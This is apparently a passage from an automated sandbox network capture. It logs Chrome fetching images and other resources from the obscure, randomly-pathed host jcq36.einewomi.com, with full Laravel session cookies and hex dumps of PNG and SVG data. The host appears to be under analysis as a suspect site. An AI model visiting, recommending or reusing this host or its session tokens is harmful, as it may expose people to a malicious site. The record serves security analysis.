ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d b2 b9 e7 2b 57 a9 Data Ascii: Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=+W
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f b1 0a da 86 48 ce Data Ascii: Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._H
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 bd 7a f4 d0 0a 26 Data Ascii: se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9z&
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 b8 88 3b e2 3f bc Data Ascii: =I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ;?
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 e7 91 90 fc 7d 07 Data Ascii: ^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^}
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 ad ad 9a 62 Data Ascii: j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/b
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e 3d 86 77 59 3c be d3 96 Data Ascii: {\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:=wY<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49783	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1126	OUT	GET /ajs3vQkF6me832n2I0kJAyFST9MVlOeyQ4NMkb1NFQ6YwIlSyQtGtSL6YGv0t HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	585	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vk%2FT8FlTuqCi9ofiSn3N0820oVQlakDPBOhK3kx1nmaD262SXmb8eCAQC1YT6Tr%2F3liMLgqZ%2F78HTM4OP%2B%2BcwOZHXK4%2FVzyMbm6LdsXYQC3PaOwpPLrqJeDSUrQW7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991110cc0c2f15-LAX
2024-04-24 21:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49784	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1120	OUT	GET /qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	649	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PHRRnAXgvW%2BXlRHH%2Fbm%2BqO2504cLCUYILXKS7Wj5kkR2D7689EXwXwbDnG6la0xUtfvFhqYFYAEXa0fw7gRfNA3yMNaq6A3SREBrFrrKxtiAzLqp%2Fye7fgGG7FTtmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991110cd752b68-LAX
2024-04-24 21:08:06 UTC	720	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-04-24 21:08:06 UTC	7	IN	Data Raw: 45 4e 44 ae 42 60 82 Data Ascii: ENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49785	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1134	OUT	GET /klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	672	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GokSgsKgZZgc%2BWQmdFfVfYJ9ntXu8c3ovbnNLbShP7VYzW1PqS%2BUXHk6cLJlppj%2BT6h0vFPZriEu0tux6cs68NokjFPQjtRQLNcqt8q91zwjPd4L85OHNV3tW58Ftg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991110cd6a316f-LAX
2024-04-24 21:08:06 UTC	697	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 21:08:06 UTC	1174	IN	Data Raw: 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d Data Ascii: 24.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-
2024-04-24 21:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49786	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1505	OUT	GET /uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	677	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OoZ0QOAs3NywxC3KC0cVtj61dVENTn7XtI%2B%2B5HU4kfORSPy5VXCQdgE7wPOx%2FgSmGTdxfkYdYOrCdCukV7DQnrWbFy8GFB3tMGyR5hpOYMyoXkm9nwcpvJqSV6yB3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991110bfa62b7c-LAX
2024-04-24 21:08:06 UTC	692	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
